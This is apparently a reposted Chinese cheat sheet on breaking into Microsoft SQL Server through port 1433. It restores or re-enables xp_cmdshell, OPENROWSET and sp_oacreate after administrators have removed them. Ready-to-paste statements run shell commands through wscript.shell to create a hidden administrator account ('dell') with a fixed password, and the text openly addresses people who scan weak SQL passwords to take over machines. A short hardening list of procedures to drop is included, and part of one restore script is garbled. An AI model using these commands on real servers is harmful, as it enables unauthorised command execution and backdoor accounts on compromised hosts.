1433 SQL入侵恢復(fù)xp_cmdshell方法總結(jié)
sql server 2005下開(kāi)啟xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005開(kāi)啟'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005開(kāi)啟'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各種困難
常見(jiàn)情況恢復(fù)執(zhí)行xp_cmdshell
1 未能找到存儲(chǔ)過(guò)程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無(wú)法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無(wú)法在庫(kù) xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請(qǐng)嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢復(fù)辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復(fù),不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴(kuò)展存儲(chǔ)過(guò)過(guò)程xp_cmdshell的語(yǔ)句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復(fù)cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開(kāi)啟cmdshell的sql語(yǔ)句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲(chǔ)擴(kuò)展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
恢復(fù)xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結(jié)果為1就ok
否則上傳xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql語(yǔ)句
sp_dropextendedproc "xp_cmdshell
----------------
刪除sql危險(xiǎn)存儲(chǔ):
復(fù)制代碼 代碼如下:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate

exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐 附上恢復(fù)擴(kuò)展存儲(chǔ)過(guò)程的辦法
先恢復(fù)sp_addextendedproc,語(yǔ)句如下:
SQL代碼:
復(fù)制代碼 代碼如下:
create procedure sp_addextendedproc --- 1996/08/30 20:13

return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢復(fù)以上所有擴(kuò)展存儲(chǔ)過(guò)程
SQL代碼:
復(fù)制代碼 代碼如下:

SQL Server 阻止了對(duì)組件 'xp_cmdshell' 的 過(guò)程'sys.xp_cmdshell' 的訪問(wèn),因?yàn)榇私M件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過(guò)使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細(xì)信息,請(qǐng)參閱 SQL Server 聯(lián)機(jī)叢書(shū)中的 "外圍應(yīng)用配置器"。
經(jīng)常掃SQL弱口令肉雞的朋友應(yīng)該遇見(jiàn)過(guò)這樣的問(wèn)題 !
接下來(lái)我們用SQL語(yǔ)句搞定他
分析器執(zhí)行的語(yǔ)句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
